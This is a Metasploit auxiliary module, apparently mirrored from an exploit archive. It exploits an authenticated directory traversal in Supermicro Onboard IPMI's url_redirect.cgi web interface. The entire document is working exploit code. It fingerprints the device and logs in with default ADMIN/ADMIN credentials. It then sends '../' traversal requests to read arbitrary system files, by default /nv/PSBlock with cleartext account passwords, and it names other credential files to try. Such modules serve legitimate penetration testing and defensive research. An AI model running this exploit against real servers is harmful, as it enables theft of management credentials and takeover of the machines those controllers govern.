## https://sploitus.com/exploit?id=PACKETSTORM:181079
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
APP_NAME = "Supermicro web interface"
def initialize(info = {})
super(update_info(info,
'Name' => 'Supermicro Onboard IPMI url_redirect.cgi Authenticated Directory Traversal',
'Description' => %q{
This module abuses a directory traversal vulnerability in the url_redirect.cgi application
accessible through the web interface of Supermicro Onboard IPMI controllers. The vulnerability
is present due to a lack of sanitization of the url_name parameter. This allows an attacker with
a valid, but not necessarily administrator-level account, to access the contents of any file
on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for
all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM)
with firmware version SMT_X9_214. Other file names to try include /PSStore, /PMConfig.dat, and
/wsman/simple_auth.passwd
},
'Author' =>
[
'hdm', # Discovery and analysis
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities/' ],
[ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']
],
'DisclosureDate' => '2013-11-06'))
register_options(
[
OptInt.new('DEPTH', [true, 'Traversal depth', 1]), # By default downloads from /tmp
OptString.new('FILEPATH', [true, 'The name of the file to download', '/nv/PSBlock']),
OptString.new('PASSWORD', [true, 'Password for Supermicro Web Interface', 'ADMIN']),
OptString.new('USERNAME', [true, 'Username for Supermicro Web Interface', 'ADMIN'])
])
end
def my_basename(filename)
return ::File.basename(filename.gsub(/\\/, "/"))
end
def is_supermicro?
res = send_request_cgi(
{
"uri" => "/",
"method" => "GET"
})
if res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./
return true
else
return false
end
end
def login
res = send_request_cgi({
"uri" => "/cgi/login.cgi",
"method" => "POST",
"vars_post" => {
"name" => datastore["USERNAME"],
"pwd" => datastore["PASSWORD"]
}
})
if res and res.code == 200 and res.body.to_s =~ /self.location="\.\.\/cgi\/url_redirect\.cgi/ and res.get_cookies =~ /(SID=[a-z]+)/
return $1
else
return nil
end
end
def read_file(file, session)
travs = ""
travs << "../" * datastore['DEPTH']
travs << file
print_status("Retrieving file contents...")
res = send_request_cgi({
"uri" => "/cgi/url_redirect.cgi",
"method" => "GET",
"cookie" => session,
"encode_params" => false,
"vars_get" => {
"url_type" => "file",
"url_name" => travs
}
})
if res and res.code == 200 and res.headers["Content-type"].to_s =~ /text\/html/ and res.headers["Pragma"].nil?
return res.body.to_s
else
return nil
end
end
def run_host(ip)
print_status("Checking if it's a #{APP_NAME}....")
if is_supermicro?
print_good("Check successful")
else
print_error("#{APP_NAME} not found")
return
end
print_status("Login into the #{APP_NAME}...")
session = login
if session.nil?
print_error("Failed to login, check credentials.")
return
else
print_good("Login Successful, session: #{session}")
end
contents = read_file(datastore['FILEPATH'], session)
if contents.nil?
print_error("File not downloaded")
return
end
file_name = my_basename(datastore['FILEPATH'])
path = store_loot(
'supermicro.ipmi.traversal.psblock',
'application/octet-stream',
rhost,
contents,
file_name
)
print_good("File saved in: #{path}")
end
end